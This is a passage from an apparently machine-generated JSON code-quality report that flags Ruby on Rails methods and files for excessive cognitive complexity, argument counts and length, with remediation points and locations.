based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `truncate_if_block` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c65f7114f8bc0ff0c40ba17a721dc4e7","location":{"path":"app/helpers/markup_helper.rb","lines":{"begin":234,"end":243}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `issuables_helper.rb` has 354 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"b0534175d956cb265e089add14a703e9","location":{"path":"app/helpers/issuables_helper.rb","lines":{"begin":3,"end":436}},"other_locations":[],"remediation_points":2697600,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `multi_label_name` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f6f2aa839b3380e86377b58408fcfa15","location":{"path":"app/helpers/issuables_helper.rb","lines":{"begin":40,"end":51}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `issuable_labels_tooltip` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6ed7317a98ede04c4a1cde7f6af1871c","location":{"path":"app/helpers/issuables_helper.rb","lines":{"begin":208,"end":219}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `issuable_todo_button_data` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"382bc77616cd06810f3d2112c8460240","location":{"path":"app/helpers/issuables_helper.rb","lines":{"begin":381,"end":395}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `project_policy.rb` has 333 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"61f7a144aa6cdf7e965d3130c52aacc3","location":{"path":"app/policies/project_policy.rb","lines":{"begin":3,"end":434}},"other_locations":[],"remediation_points":2395200,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `remaining_days_in_words` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"db6e21e4091f24644db9efa04f03f5f2","location":{"path":"app/serializers/entity_date_helper.rb","lines":{"begin":47,"end":70}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `build_metrics` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fe3dd187f741789f765000b6e08c77bf","location":{"path":"app/serializers/merge_request_widget_entity.rb","lines":{"begin":252,"end":260}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `reassigned_issue_email` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"3e2a4c8e9b4b5584a258cdc21bf1779b","location":{"path":"app/mailers/emails/issues.rb","lines":{"begin":23,"end":23}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `relabeled_issue_email` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"eccd65b7da076099478491ce5ffd1bcd","location":{"path":"app/mailers/emails/issues.rb","lines":{"begin":40,"end":40}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `issue_status_changed_email` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"8d347450b4f4fa27b8d847a4e282b8f2","location":{"path":"app/mailers/emails/issues.rb","lines":{"begin":48,"end":48}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `issue_moved_email` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"a1fb6126b5a4051ae7af19c5fd1ea1ef","location":{"path":"app/mailers/emails/issues.rb","lines":{"begin":56,"end":56}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `reassigned_merge_request_email` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"8bd5f4e62d9db3075aa99840c56f1dc3","location":{"path":"app/mailers/emails/merge_requests.rb","lines":{"begin":26,"end":26}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `relabeled_merge_request_email` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"e4fbe646413819b74d51d11132d24f75","location":{"path":"app/mailers/emails/merge_requests.rb","lines":{"begin":34,"end":34}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `merge_request_status_email` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"c39ada600f20e34ac7bc271aaa17a489","location":{"path":"app/mailers/emails/merge_requests.rb","lines":{"begin":55,"end":55}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `NotifyPreview` has 26 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"0ad28a90a453e7f0892e2fa27ca7dd74","location":{"path":"app/mailers/previews/notify_preview.rb","lines":{"begin":3,"end":176}},"other_locations":[],"remediation_points":1800000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `perform` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"ae09aa8f81cc51243569392f706dea8b","location":{"path":"app/workers/irker_worker.rb","lines":{"begin":9,"end":9}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `send_branch_updates` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"2efa6a64aab186fa6e22c887b82c2da8","location":{"path":"app/workers/irker_worker.rb","lines":{"begin":61,"end":61}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `send_commits` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"bda830a07ed575bd9c98deb67e6efa84","location":{"path":"app/workers/irker_worker.rb","lines":{"begin":84,"end":84}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `send_commits_count` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"fe8fcb808f2da3f31174330b3b8e8d2f","location":{"path":"app/workers/irker_worker.rb","lines":{"begin":113,"end":113}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `process_commit_message` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"0cbd58f4d824762ee08cbe8394a955be","location":{"path":"app/workers/process_commit_worker.rb","lines":{"begin":36,"end":36}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `close_issues` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"0ddd5587d752e08728eca56e8b842057","location":{"path":"app/workers/process_commit_worker.rb","lines":{"begin":45,"end":45}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"00fda5cf89ca2d06f32e73e5948d2d96","location":{"path":"app/workers/process_commit_worker.rb","lines":{"begin":18,"end":33}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b2d21175bd49ce0560d00b41a5d4b105","location":{"path":"app/workers/emails_on_push_worker.rb","lines":{"begin":8,"end":78}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `perform` has 58 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"21b177b9c8aab67c1dd18ac4736d07e0","location":{"path":"app/workers/emails_on_push_worker.rb","lines":{"begin":8,"end":78}},"other_locations":[],"remediation_points":1392000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bc6bfd63748977ec6b13ad1bcd32f3e0","location":{"path":"app/workers/repository_import_worker.rb","lines":{"begin":9,"end":30}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `perform` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"ac08a8c45d58e80f3f9f0e821af8c678","location":{"path":"app/workers/create_pipeline_worker.rb","lines":{"begin":9,"end":9}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `sanity_check!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1e3c40adf8befa842892c33a2ef33ef6","location":{"path":"app/workers/object_storage/migrate_uploads_worker.rb","lines":{"begin":71,"end":81}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5767377fdd633dc52d45bb5edaf792ad","location":{"path":"app/workers/object_storage/background_move_worker.rb","lines":{"begin":10,"end":21}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"873b9f464ca14204612b7168bd6cd51a","location":{"path":"app/workers/repository_update_remote_mirror_worker.rb","lines":{"begin":18,"end":42}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform_repository_checks` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c569f618db6dab9061d1c9a4fbd00161","location":{"path":"app/workers/repository_check/batch_worker.rb","lines":{"begin":34,"end":49}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `perform` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"fb73a85eb279eea1e916d045d1752c0b","location":{"path":"app/workers/update_merge_requests_worker.rb","lines":{"begin":9,"end":9}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9c731770fbe34f3e5817178bf1c1c9c2","location":{"path":"app/workers/post_receive.rb","lines":{"begin":6,"end":25}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_project_changes` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dcfa21f106c7ddc7d59ef6a69ed225a5","location":{"path":"app/workers/post_receive.rb","lines":{"begin":29,"end":52}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"90ee5638594e38ee879df3d7b6670837","location":{"path":"app/workers/git_garbage_collect_worker.rb","lines":{"begin":11,"end":36}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c91f311ed659a5cf472f55294f93721e","location":{"path":"app/workers/project_migrate_hashed_storage_worker.rb","lines":{"begin":9,"end":22}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `handle_failure` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ea43d53b1207bf05223f6e3378b7622f","location":{"path":"app/workers/email_receiver_worker.rb","lines":{"begin":18,"end":51}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fb063b327d5645323a0adeb4a475ab88","location":{"path":"app/workers/create_gpg_signature_worker.rb","lines":{"begin":7,"end":29}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"90474c7bc130abea03bc8b0c1a6d72e3","location":{"path":"app/finders/concerns/finder_with_cross_project_access.rb","lines":{"begin":20,"end":32}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `by_due_date` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a7cd7e8d0b5f825ced9cce3fd0921f8b","location":{"path":"app/finders/issues_finder.rb","lines":{"begin":74,"end":90}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `all_groups` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9450c1e48d60393e153d88597dff24f6","location":{"path":"app/finders/groups_finder.rb","lines":{"begin":44,"end":54}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider 